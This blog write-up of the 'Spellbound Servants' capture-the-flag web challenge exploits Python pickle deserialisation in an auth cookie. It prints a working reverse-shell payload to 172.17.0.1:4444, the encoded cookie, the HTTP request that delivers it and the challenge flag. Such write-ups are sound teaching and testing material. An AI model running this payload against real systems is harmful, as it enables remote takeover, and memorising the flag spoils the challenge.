← Back to blog

Spellbound Servants

Challenge

  • CTF: Hack The Boo 2023 - Practice
  • Name: Spellbound Servants
  • Category: Web
  • Difficulty: Easy
  • Points: 375
  • Description: A sinister website lurks in the depth of internet, offering nefarious users a chance to enslave spectral entities as their servants. Can you help us taking it down and saving the halloween?
  • Objective: Python Pickle Deserialisation

Files

Download: web_spellbound_servants.zip

Writeup

Let’s spin up the docker image of the web and set up our static-code analysis IDE:

code .
sudo ./build-docker.sh

Browsing to the local webpage: http://127.0.0.1:1337/, we are greeted with a login page:

spellboundservants_1

Registering and Logging in with test:test was successful and we are then greeted with a welcome page:

spellboundservants_2

Using the Snyk VSCode extension, it was able to immediately identify a vulnerability in the auth cookie loader in util.py:

spellboundservants_3

The flagged sink is the base64-encoded auth cookie being fed straight into pickle.loads when the session is loaded. Python’s pickle reconstructs an object by invoking whatever callable that object’s __reduce__ method returns, so an attacker-controlled cookie can carry an object whose __reduce__ returns (os.system, (cmd,)) — the instant the server unpickles it, cmd runs. We exploit exactly that:

import pickle
from base64 import b64encode
import os

class RCE:
  def __reduce__(self):
    cmd = f"""python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("172.17.0.1",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'"""
    return os.system, (cmd,)

# Generate pickled RCE
encoded = b64encode(pickle.dumps(RCE())).decode()
print(encoded)
gASVAQEAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjOZweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2Vzcyxvczsgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoIjE3Mi4xNy4wLjEiLDQ0NDQpKTsgb3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTsgcD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7J5SFlFKULg==

Let’s replace the auth cookie with the generated RCE pickling payload above and send the request to /home:

GET /home HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: auth=gASVAQEAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjOZweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2Vzcyxvczsgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoIjE3Mi4xNy4wLjEiLDQ0NDQpKTsgb3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTsgcD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7J5SFlFKULg==

The reverse shell comes back as shown below:

nc -nlvp 4444
/app # cat /flag.txt
HTB{F4K3_Fl4G_F0R_T35T1NG}

Spinning up a docker instance and sending a payload with updated ngrok IP/Port numbers, we can then obtain the real flag.

nc -nlvp 4444
/app # cat /flag.txt
HTB{P1CkL3_15_f0R_SUP3R555!}

Flag: HTB{P1CkL3_15_f0R_SUP3R555!}